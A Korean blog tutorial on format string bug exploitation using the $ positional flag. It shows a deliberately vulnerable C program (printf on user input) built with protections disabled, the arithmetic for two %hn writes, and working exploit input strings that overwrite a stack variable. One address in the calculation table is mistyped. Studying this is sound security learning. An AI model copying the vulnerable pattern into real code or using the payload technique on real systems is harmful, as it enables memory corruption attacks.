이전에 잠시 공부한적이 있지만, 까먹고있다가 이참에 공부해서 정리하게되었다.
포맷 스트링 버그 취약점을 가진 프로그램이 있을때, $-flag를 이용한 공격이 기존 기법에비해 꽤나 간단하고 유용해서 정리해봄
이방법은 특히 입력되는 버퍼의 크기가 작거나, printf 함수로부터 수정 주소까지 포맷스트링(%x..) 인자가 많이 필요할때 많은 포맷 스트링 문자열을 넣을 필요가 없어서 유용하다.
간단한 예제 소스코드를 들어 설명하겠다.
* 테스트 환경 (ubuntu 64bit 12.04 LTS)
- // gcc -o flag_fsb flag_fsb.c -fno-stack-protector -mpreferred-stack-boundary=2 -m32
- // sudo sysctl -w kernel.randomize_va_space=0
- #include <stdio.h>
- int main()
- {
- int p = 0xffffffff;
- char buf[56];
- printf("before p = %08x addr = %08x\n",p,&p);
- fgets(buf,sizeof(buf),stdin);
- printf(buf);
- printf("after p = %08x addr = %08x\n",p,&p);
- exit(1);
- return 0;
- }
위와같이 포맷 스트링버그가 존재할때, printf 함수에서 aaaa(0x61616161) 인자가 나오기까지 포맷스트링 %x 3개가 필요한것을 확인할수 있다. 나는 위에 소스코드에서 변수 p의주소(0xffffd704) 에 저장된 값 0xffffffff을 0x12345678으로 수정해볼것이다.
즉, printf 함수가 실행될때, printf 함수기준으로 스택에 쌓인값이 3번째 인자가 aaaa(0x61616161)이라는 것이다.
플래그(flag)를 이용하지 않으면 aaaa를 주소값으로 바꾸고, %x를 2번넣고 3번째 나올때 %hn (또는 %n)을 먹여서 주소에 저장된 값을 수정해야한다.
그러나 플래그(flag)를 사용하면 3번째 인자에 바로 %hn(또는 %n)을 먹여서 주소에 저장된값을 수정할수 있다. 더군다나 %hn을 먹이기 전에 %x를 입력한 갯수를 계산하지 않아도되서 굉장히 편리하다.
아래와 같이 계산을 해준다.
지정해줄 포맷 스트링 문자에서 플래그($)를 유심히 봐주길 바란다.
수정할 주소 0xffffd704 , 주소에 저장할 값 : 0x12345678
%hn을 이용할것이기에 2번 쓸것이다.
0xffffd704 (\x04\xd7\xff\xff) -> 0x5678
0xffffd606 (\x06\xd7\xff\xff) -> 0x1234
%hn 이전까지 기본 문자열 개수: 8 (\x04\xd7\xff\xff\x06\xd7\xff\xff)
수정할 주소 | 기본 문자열 개수 A | 변경해야 할 목표 값 B | 지정 해줘야 할 문자 개수 C = |B-A| | 지정해줄 포맷 스트링 문자 |
0xffffd704 (low) | 8 | 22136 (0x5678) | 22128 (0x5670) | %22128x%3$hn |
0xffffd706 (high) | 22136 (0x5678) | 4660 (0x1234) | 48060 (0xbbbc) | %48060x%4$hn |
high 주소 계산시에 0x1234 - 0x5678이 음수가 나와버리는데 음수가 나올때는 0x1234 - 0x5678 + 0x10000 해주면된다.
* 최종 공격 문자열 (flag 사용)
(python -c 'print "\x04\xd7\xff\xff\x06\xd7\xff\xff"+"%22128x%3$hn%48060x%4$hn"';cat) | ./flag_fsb |
참고로 아래는 동일할 결과지만 flag를 사용하지 않았을때이다.
(계산방식이 조금 달라서 %x 숫자도 달라진다.)
(python -c 'print "\x04\xd7\xff\xffaaaa\x06\xd7\xff\xff"+"%x%22122x%hn%48060x%hn"';cat) | ./flag_fsb |
flag를 사용하면 굉장히 먼거리에있는 인자값에도 접근이 가능하기때문에 버퍼의 사이즈가 작아도 사용할수 있는 장점이 있다.
(단, 사전에 변환문자를 이용하여 공격자가 입력하는 문자열이 어느 부 분에 저장되는지 알아두어야 한다)
물론 공격을 한다면 쉘을 띄워야 되겠지만, 13번째의 printf 때문에 불가능하다.. exit를 지속적으로 공략하여 다른 방법(rop등)을 이용하면 되겠지만.. 기본정리이므로 여기까지..
참고 링크
포맷 스트링 버그(Format string bug) %hn 사용법 - http://kaspyx.kr/81
포맷 스트링 버그(Format string bug) 취약점이란? - http://kaspyx.kr/74
파이썬(python)을 사용하여 프로그램에 입력값 넘겨주기 - http://kaspyx.kr/77
- 외부 링크
$-flag를 이용한 Format String 공격
'IT > System Hacking' 카테고리의 다른 글
리눅스 쉘코드(shellcode) 크기 줄이기 (0) | 2016.09.30 |
---|---|
libc-database 사용법 (0) | 2016.07.28 |
포맷 스트링 버그(Format string bug) %hn 사용법 (0) | 2016.04.13 |
AFL fuzz(american fuzzy lop) Fuzzing Tool 사용하기 (1) | 2016.02.29 |
포맷 스트링 버그(Format string bug) 취약점이란? (0) | 2015.11.08 |